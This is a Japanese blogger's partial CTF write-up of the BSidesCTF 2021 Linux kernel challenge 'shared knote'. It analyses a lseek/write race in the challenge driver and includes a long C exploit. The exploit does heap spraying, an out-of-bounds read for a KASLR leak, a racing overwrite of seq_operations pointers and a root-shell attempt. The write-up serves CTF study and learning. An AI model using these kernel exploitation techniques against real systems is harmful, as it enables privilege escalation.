イントロ Link to this heading

いつぞや開催されたBSidesCTF 2021。その kernel 問題shared knote。解けなかったけど少し触ったので途中までの状況を供養しとく。だって触ったのに、なんも書かないし解けもしないの、悲しいじゃん???? なお、公式から既に完全な writeup が出ている。zer0pts 主催の CTF、一瞬で公式 writeup がでていてすごい。すごい一方で、早すぎる公式完全 writeup はコミュニティ writeup が出るのを妨げる気もしているので、個人的には 1 日くらいは方針だけちょい出しして、1 日後くらいに完全版を出してほしいという気持ちも無きにしもあらず。 アディスアベバ。

static Link to this heading

static.sh
 1Linux version 5.14.3 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-804-g03034691
 2
 3
 4#!/bin/sh
 5timeout --foreground 300 qemu-system-x86_64 \
 6        -m 64M -smp 2 -nographic -no-reboot \
 7        -kernel bzImage \
 8        -initrd rootfs.cpio \
 9        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
10        -cpu kvm64 -monitor /dev/null \
11        -net nic,model=virtio -net user
12
13static struct file_operations module_fops =
14  {
15   .owner   = THIS_MODULE,
16   .llseek  = module_llseek,
17   .read    = module_read,
18   .write   = module_write,
19   .open    = module_open,
20   .release = module_close,
21  };

一般的なキャラクタデバイスドライバが実装されている。ドライバ全体で一つのノートを共有する感じになっている。ノートは refcnt で管理されており、open/close で増減される。

怪しいと思ったとこ Link to this heading

ココ(critical region がとられてない)と、

module_open.c
 1static int module_open(struct inode *inode, struct file *file)
 2{
 3  unsigned long old = __atomic_fetch_add(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
 4  if (old == 0) {
 5
 6    /* First one to open the note */
 7    if (!(sknote.noteptr = kzalloc(sizeof(note_t), GFP_KERNEL)))
 8      return -ENOMEM;
 9    if (!(sknote.noteptr->data = kzalloc(MAX_NOTE_SIZE, GFP_KERNEL)))
10      return -ENOMEM;
11
12  } else if (old >= 0xff) {
13
14    /* Too many references */
15    __atomic_sub_fetch(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
16    return -EBUSY;
17
18  }
19
20  return 0;
21}

ココ。

module_write.c
 1static ssize_t module_write(struct file *file,
 2                            const char __user *buf, size_t count,
 3                            loff_t *f_pos)
 4{
 5  note_t *note;
 6  ssize_t ecount;
 7
 8  note = (note_t*)sknote.noteptr;
 9
10  // XXX
11  /* Security checks to prevent out-of-bounds write */
12  if (count < 0)
13    return -EINVAL; // Invalid count
14  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
15    return -EINVAL; // Too big count
16  if (ecount > MAX_NOTE_SIZE)
17    count = MAX_NOTE_SIZE - file->f_pos; // Update count
18
19  /* Copy data from user-land */
20  if (copy_from_user(&note->data[file->f_pos], buf, count))
21    return -EFAULT; // Invalid user pointer
22
23  /* Update current position and length */
24  *f_pos += count;
25  if (*f_pos > note->length)
26    note->length = *f_pos;
27
28  return count;
29}

前者は、refcnt はロックとられてるのに関数内に critical region がとられていないためレースが起きそう。そして、これが実際に想定解だったっぽい。close は以下のようになっていて、free 後は NULL が入る。

module_close.c
 1static int module_close(struct inode *inode, struct file *file)
 2{
 3  // XXX
 4  if (__atomic_add_fetch(&sknote.refcnt, -1, __ATOMIC_SEQ_CST) == 0) {
 5    /* We can free the note as nobody references it */
 6    kfree(sknote.noteptr->data);
 7    kfree(sknote.noteptr);
 8    sknote.noteptr = NULL;
 9  }
10
11  return 0;
12}

本番では NULL 入るか〜〜、あちゃ〜〜〜と言ってシカトしていたが、なんか今回の kernel は address0 に userland がマップすることが出来たらしく、NULL をいれる==userland を指させるということが出来たらしい。前も見たことある気がするけど、いざ本番で見ると、気づかないもんですね。取り敢えず本番はこっちはシカトしました。

vuln: race of lseek/write (invalid f_pos use) Link to this heading

先程の write を見ると分かる通り、モジュール内でf_posfile->f_posの両方を使ってしまっている。そもそも、writeの呼び出し時にはksys_write()file->f_posをスタックに積んでおり、そのスタックのアドレスをwriteの第 3 引数f_posとして渡している。writeの呼び出し後にこのスタックの値を確認して、初めてfile->f_posに下記戻すことになる。そして、モジュール内でfile->f_posは触ってはいけない(少なくとも僕はこの認識でいる)。唯一の例外がllseekであり、この中では直接file->f_posをいじることができる。

read_write.c
 1ssize_t ksys_write(unsigned int fd, const char __user *buf, size_t count)
 2{
 3	struct fd f = fdget_pos(fd);
 4	ssize_t ret = -EBADF;
 5
 6	if (f.file) {
 7		loff_t pos, *ppos = file_ppos(f.file);
 8		if (ppos) {
 9			pos = *ppos;
10			ppos = &pos;
11		}
12		ret = vfs_write(f.file, buf, count, ppos);
13		if (ret >= 0 && ppos)
14			f.file->f_pos = pos;
15		fdput_pos(f);
16	}
17
18	return ret;
19}

さて、先程の write を見ると、前半でfile->f_posを、後半でf_posを使っている。

module_write.c
 1  note = (note_t*)sknote.noteptr;
 2
 3  // XXX
 4  /* Security checks to prevent out-of-bounds write */
 5  if (count < 0)
 6    return -EINVAL; // Invalid count
 7  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
 8    return -EINVAL; // Too big count
 9  if (ecount > MAX_NOTE_SIZE)
10    count = MAX_NOTE_SIZE - file->f_pos; // Update count
11
12  /* Copy data from user-land */
13  if (copy_from_user(&note->data[file->f_pos], buf, count)) // XXX writeで止めてる時にcloseしたらどうなる??
14    return -EFAULT; // Invalid user pointer
15
16  /* Update current position and length */
17  *f_pos += count;
18  if (*f_pos > note->length)
19    note->length = *f_pos;

ここで、以下のようにすることで race を起こしてnote->lengthMAX_NOTE_SIZEよりも任意に大きくすることが出来る。

Thread A:

  • llseek(0, END)
  • write(MAX_NOTE_SIZE)

Thread B:

  • llseek(0, CUR)

上手いことllseek(END, 0) -> write呼び出し -> llseek(SET, 0) -> write前半のチェックという流れになれば、writeの第 3 引数をMAX_NOTE_SIZEにしたままwriteの諸々のチェックをパスしてノートサイズを増やすことが出来る。

これで OOB(read)の完成。

kbase leak Link to this heading

ノートサイズは 0x400 であり、あんま良い感じの構造体はただでは隣接しなさそう。ということで、seq_operationsが入る 0x20 スラブと 0x400 スラブを大量に確保して枯渇させ、新たにページを確保させて隣接させる。

spray.c
 1  // heap spray
 2  puts("[.] heap spraying...");
 3  for (int jx = 0; jx != 0x100; ++jx) {
 4    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
 5    if (qid == -1)
 6    {
 7      errExit("msgget");
 8    }
 9    struct _msgbuf400 msgbuf = {.mtype = 1};
10    memset(msgbuf.mtext, 'A', 0x400);
11    KMALLOC(qid, msgbuf, 0x10);
12  }
13  puts("[.] END heap spraying");
14
15  // init
16  if ((fd = open(DEV_PATH, O_RDWR)) < 0)
17  {
18    errExit("open");
19  }
20  puts("[.] opened dev file.");
21
22  // alloc seq_operations next to NOTE
23  puts("[.] seq spraying...");
24  #define SEQSIZE 0x300
25  int seq_fds[SEQSIZE];
26  for (int ix = 0; ix != SEQSIZE; ++ix)
27  {
28    if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
29      errExit("open seq");
30    }
31  }
32  puts("[.] END seq spraying...");

これで、先程の OOB(read)をすると、厳密には完全に隣接こそシていないもののseq_operationsのスラブを探し出すことができ、kbase が leak できる。

OOB write Link to this heading

RIP を取るためにseq_operationsを書き換えたい。すんなり行くかと思えば、write内の以下のせいでめっちゃめんどくさくなった。

mendoi.c
1  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
2    return -EINVAL; // Too big count
3  if (ecount > MAX_NOTE_SIZE)
4    count = MAX_NOTE_SIZE - file->f_pos; // Update count

これのせいで、f_posが大きいと count が hoge る。よってこれを回避するためにまた race をした。このチェックだけパスするようにllseekを噛ませたが、readの race が秒で終わったのに対し、こちらは 10 秒待っても終わるときと終わらないときがあって、しかも書き換えたあとの値が意味分からん値になっていた。

詰みました。

戦いの果て Link to this heading

一応この後も考えたけど、SMEP/SMAP なしなら shellcode いれて終わりじゃ〜んと思ってうきうきでいたら、KPTI 有効なのを忘れていた。ROP すればなんとかなってたのかなぁと思いつつも、OOB(write)がうまく言っていなかったこともあり、ここで断念した。

想定解 Link to this heading

上に述べた、free の際に NULL をいれるのだが、今回の kernel は 0 アドレスに userland がmmapできる設定だったらしく、NULL を入れる==userland を指させるという意味に出来たらしい。SMAP 無効だし。 これで簡単にポインタを書き換えて AAW/AAR。KASLR-bypass のためにめっちゃ探索して VDSO を探す。この探索は、copy_from_userがメモリチェックで不正を検出した場合はクラッシュとかではなく単純にエラーを返してくれるので出来ること。偉い。あとは単純にmodprobe_path。 偉いね。

exploit (to kbase leak + insufficient write) Link to this heading

一応貼っておこ。後で完全版出すかも知れないし、公式のが完全なので出さないかも知れない。

root

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29#include <sys/shm.h>
 30
 31// commands
 32#define DEV_PATH "/dev/sknote" // the path the device is placed
 33#define MAX_NOTE_SIZE 0x400
 34
 35// constants
 36#define PAGE 0x1000
 37#define FAULT_ADDR 0xdead0000
 38#define FAULT_OFFSET PAGE
 39#define MMAP_SIZE 4 * PAGE
 40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 41// (END constants)
 42
 43// utils
 44#define WAIT getc(stdin);
 45#define ulong unsigned long
 46#define scu static const unsigned long
 47#define NULL (void *)0
 48#define errExit(msg)    \
 49  do                    \
 50  {                     \
 51    perror(msg);        \
 52    exit(EXIT_FAILURE); \
 53  } while (0)
 54#define KMALLOC(qid, msgbuf, N)   \
 55  for (int ix = 0; ix != N; ++ix) \
 56  {                               \
 57    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
 58    errExit("KMALLOC"); \
 59  }
 60ulong user_cs, user_ss, user_sp, user_rflags;
 61struct pt_regs
 62{
 63  ulong r15;
 64  ulong r14;
 65  ulong r13;
 66  ulong r12;
 67  ulong bp;
 68  ulong bx;
 69  ulong r11;
 70  ulong r10;
 71  ulong r9;
 72  ulong r8;
 73  ulong ax;
 74  ulong cx;
 75  ulong dx;
 76  ulong si;
 77  ulong di;
 78  ulong orig_ax;
 79  ulong ip;
 80  ulong cs;
 81  ulong flags;
 82  ulong sp;
 83  ulong ss;
 84};
 85void print_regs(struct pt_regs *regs)
 86{
 87  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 88  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 89  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 90  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 91  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 92}
 93void NIRUGIRI(void)
 94{
 95  char *argv[] = {"/bin/sh", NULL};
 96  char *envp[] = {NULL};
 97  execve("/bin/sh", argv, envp);
 98}
 99// should compile with -masm=intel
100static void save_state(void)
101{
102  asm(
103      "movq %0, %%cs\n"
104      "movq %1, %%ss\n"
105      "movq %2, %%rsp\n"
106      "pushfq\n"
107      "popq %3\n"
108      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
109      :
110      : "memory");
111}
112
113unsigned long (*rooter_pkc)(unsigned long) = 0;
114unsigned long (*rooter_commit_creds)(unsigned long) = 0;
115
116int shellcode_is_called = 0;
117
118static void shellcode(void)
119{
120  //asm(
121  //    "xor rdi, rdi\n"
122  //    "mov rbx, QWORD PTR [rsp+0x50]\n"
123  //    "sub rbx, 0x244566\n"
124  //    "mov rcx, rbx\n"
125  //    "call rcx\n"
126  //    "mov rdi, rax\n"
127  //    "sub rbx, 0x470\n"
128  //    "call rbx\n"
129  //    "add rsp, 0x20\n"
130  //    "pop rbx\n"
131  //    "pop r12\n"
132  //    "pop r13\n"
133  //    "pop r14\n"
134  //    "pop r15\n"
135  //    "pop rbp\n"
136  //    "ret\n");
137  //save_state();
138
139  //shellcode_is_called = 1;
140  //rooter_commit_creds(rooter_pkc(0));
141}
142// (END utils)
143
144// globals
145const unsigned PSIZE = 10;
146int fd = 0;
147const ulong ADDRBASE = 0x10000;
148int write_permission = 0;
149long target_offset = 0;
150typedef struct
151{
152  int whoami;
153  long uffd;
154} thrinfo;
155char EMPTYNOTE[PAGE];
156// (END globals)
157
158ulong sk_seek_abs(unsigned abs)
159{
160  assert(fd != 0);
161  ulong hoge = lseek(fd, abs, SEEK_SET);
162  if (hoge == -1)
163  {
164    errExit("lseek");
165  }
166  return hoge;
167}
168
169void sk_seek_zero(void)
170{
171  sk_seek_abs(0);
172}
173
174ulong sk_seek_end(void)
175{
176  assert(fd != 0);
177  return lseek(fd, 0, SEEK_END);
178}
179
180int SHOULDEND = 0;
181
182#define REPEAT 80
183
184static void *writer(void *arg)
185{
186  //int whoami = *(int*)arg;
187  //printf("[.] writer inited: %d\n", whoami);
188
189  assert(fd != 0);
190  ulong cur;
191  char buf[PAGE] = {0};
192  ulong old = MAX_NOTE_SIZE;
193  while (1 == 1)
194  {
195    cur = sk_seek_end();
196    if(cur != old) {
197      printf("[+] extended to 0x%lx : %lx\n", cur, cur / MAX_NOTE_SIZE);
198      old = cur;
199    }
200    if (cur > MAX_NOTE_SIZE * REPEAT)
201    {
202      printf("[SEEK_END] %lx\n", cur);
203      puts("!!!!!!!!!!!!!!!!!!!!!!!!!!");
204      SHOULDEND = 1;
205      return 0;
206    }
207    int ret = write(fd, buf, MAX_NOTE_SIZE);
208  }
209  printf("[.] writer finished\n");
210}
211
212static void *zeroer(void *arg)
213{
214  assert(fd != 0);
215  while (SHOULDEND == 0)
216  {
217    sk_seek_zero();
218  }
219  return 0;
220}
221
222static void *targeter(void *arg) {
223  while (SHOULDEND == 0) {
224    sk_seek_abs(target_offset);
225  }
226  printf("[.] targeter finished\n");
227}
228
229static void *writer2(void *arg) {
230  ulong cur;
231  ulong value = ((ulong)shellcode) + 4;
232  ulong written_value[4] = {value, value, value, value};
233  ulong old = MAX_NOTE_SIZE;
234  while (SHOULDEND == 0)
235  {
236    sk_seek_zero();
237    int ret = write(fd, written_value, 8 * 4);
238  }
239  printf("[.] writer2 finished\n");
240}
241
242void print_curious(char *buf, size_t size)
243{
244  for (int ix = 0; ix != size / 8; ++ix)
245  {
246    long hoge = *((ulong *)buf + ix);
247    if (hoge != 0)
248    {
249      printf("[+%x] %lx\n", ix * 8, hoge);
250    }
251  }
252}
253
254unsigned long find_signature(char *buf, size_t size) {
255  unsigned signatures[4] = {0xa0, 0xc0, 0xb0, 0x20};
256  int step = 0;
257  for (int ix = 0; ix != size / 8; ++ix)
258  {
259    long hoge = *((ulong *)buf + ix);
260    if((hoge&0xFF) == signatures[step]) {
261      ++step;
262    } else {
263      step = 0;
264    }
265    if(step == 4) {
266      return (ix - 3) * 8;
267    }
268  }
269  return 0;
270}
271
272struct _msgbuf400
273{
274  long mtype;
275  char mtext[0x400];
276};
277
278int main(int argc, char *argv[])
279{
280  printf("[.] shellcode @ %p\n", shellcode);
281  pthread_t writer_thr, zeroer_thr;
282  memset(EMPTYNOTE, 'A', MAX_NOTE_SIZE * 2);
283
284  // heap spray
285  puts("[.] heap spraying...");
286  for (int jx = 0; jx != 0x100; ++jx) {
287    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
288    if (qid == -1)
289    {
290      errExit("msgget");
291    }
292    struct _msgbuf400 msgbuf = {.mtype = 1};
293    memset(msgbuf.mtext, 'A', 0x400);
294    KMALLOC(qid, msgbuf, 0x10);
295  }
296  puts("[.] END heap spraying");
297
298  // init
299  if ((fd = open(DEV_PATH, O_RDWR)) < 0)
300  {
301    errExit("open");
302  }
303  puts("[.] opened dev file.");
304
305  // alloc seq_operations next to NOTE
306  puts("[.] seq spraying...");
307  #define SEQSIZE 0x300
308  int seq_fds[SEQSIZE];
309  for (int ix = 0; ix != SEQSIZE; ++ix)
310  {
311    if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
312      errExit("open seq");
313    }
314  }
315  puts("[.] END seq spraying...");
316
317  // first write
318  puts("[.] first write");
319  assert(write(fd, EMPTYNOTE, MAX_NOTE_SIZE) != -1);
320
321  // init threads
322  puts("[.] writer thread initing...");
323  assert(pthread_create(&writer_thr, NULL, writer, (void *)0) == 0);
324  puts("[.] zeroer thread initing...");
325  assert(pthread_create(&zeroer_thr, NULL, zeroer, (void *)0) == 0);
326
327  pthread_join(writer_thr, NULL);
328
329  // leek
330  sleep(1);
331  char buf[REPEAT * PAGE] = {0};
332  sk_seek_zero();
333  if (read(fd, buf, REPEAT * MAX_NOTE_SIZE) == -1)
334  {
335    errExit("read");
336  }
337
338  //print_curious(buf, REPEAT * MAX_NOTE_SIZE);
339  target_offset = find_signature(buf, REPEAT * MAX_NOTE_SIZE);
340  if (target_offset == 0) {
341    errExit("target not found...");
342  }
343  printf("[!] target found @ offset 0x%lx\n", target_offset);
344  print_curious(buf + target_offset, 8 * 8);
345
346  ulong single_start = *(ulong *)(buf + target_offset);
347  ulong kernbase = single_start - 0x16e1a0;
348  ulong pkc = (0xffffffff810709f0 - 0xffffffff81000000) + kernbase;
349  ulong commit_creds = (0xffffffff81070860 - 0xffffffff81000000) + kernbase;
350  printf("[!] single_start: 0x%lx\n", single_start);
351  printf("[!] kernbase: 0x%lx\n", kernbase);
352  printf("[!] pkc: 0x%lx\n", pkc);
353  printf("[!] commit_creds: 0x%lx\n", commit_creds);
354
355  rooter_pkc = pkc;
356  rooter_commit_creds = commit_creds;
357
358  // overwrite
359  printf("[+] overwrite as %lx\n", shellcode);
360  ulong value = (ulong)shellcode;
361  SHOULDEND = 0;
362
363  puts("[.] writer thread initing...");
364  assert(pthread_create(&writer_thr, NULL, writer2, (void *)0) == 0);
365  puts("[.] targeter thread initing...");
366  assert(pthread_create(&zeroer_thr, NULL, targeter, (void *)0) == 0);
367  puts("[...] waiting lack...");
368  sleep(3);
369  SHOULDEND = 1;
370
371  sk_seek_abs(target_offset);
372  long nowvictim = 0;
373  assert(read(fd, &nowvictim, 8) != -1);
374  if(nowvictim == single_start) {
375    printf("[-] failed to overwrite...\n");
376    errExit(0);
377  } else {
378    printf("[!!] overwrite success!! : 0x%lx\n", nowvictim);
379  }
380
381  //print_curious(buf, MAX_NOTE_SIZE * REPEAT);
382
383
384  //ulong cur = sk_seek_abs(target_offset);
385  //printf("[+] cur: %lx\n", cur);
386  //for (int ix = 0; ix != 4; ++ix)
387  //{
388  //  if(write(fd, &value, 8) == -1) {
389  //    puts("fail");
390  //    WAIT;
391  //    errExit("write");
392  //  }
393  //}
394
395  // invoke shellcode
396  puts("[.] reading seqs");
397  char hoge[0x10];
398  for (int ix = 0; ix != SEQSIZE; ++ix)
399  {
400    if(read(seq_fds[ix], hoge, 1) == -1) {
401      errExit("seq read");
402    }
403  }
404
405  if(shellcode_is_called == 0) {
406    errExit("shellcode is not called");
407  }
408
409  puts("[+] executing NIRUGIRI...");
410  NIRUGIRI();
411
412  // end of life
413  puts("[ ] END exploit.");
414
415  return 0;
416}

アウトロ Link to this heading

犬飼いたいんですが、大学生で犬買うの、金銭面的にと言うか、時間的にきつそうですよね。。。

参考 Link to this heading